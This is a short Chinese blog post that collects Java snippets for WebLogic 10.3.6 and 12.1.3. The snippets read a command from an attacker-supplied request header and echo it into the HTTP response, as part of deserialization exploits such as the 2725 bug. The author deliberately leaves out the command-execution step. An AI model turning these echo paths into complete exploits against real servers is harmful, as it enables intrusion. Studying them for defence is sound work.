zoukankan      html  css  js  c++  java
  • 整理一下weblogic回显的代码

    这些回显的路径与取值是市面上已经公开的,此文是为了补充前几天所说的jetty的中间件回显。

    提供的代码只是提供了回显的路径,并没有加上runtime,这块请自行添加。

    weblogic10.3.6

    1 String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
    2 weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
    3 weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
    4 outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
    5 outputStream.flush();
    6 response.getWriter().write("");

    weblogic12.1.3

    1 java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
    2 field.setAccessible(true);
    3 HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
    4 httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

    其实这块代码在2725的回显里已经被人提出,我是搬运过来记录整理。

    原文见:https://xz.aliyun.com/t/5299#toc-9

  • 相关阅读:
    python面向对象__call__
    python的上下文管理协议
    python析构方法__del__
    next和iter可迭代协议
    __slots__ 用法
    定制自己的数据类型
    内置的Attr系列
    反射和自省
    isinstance和issubclass
    BLE 学习
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/12802851.html
Copyright © 2011-2022 走看看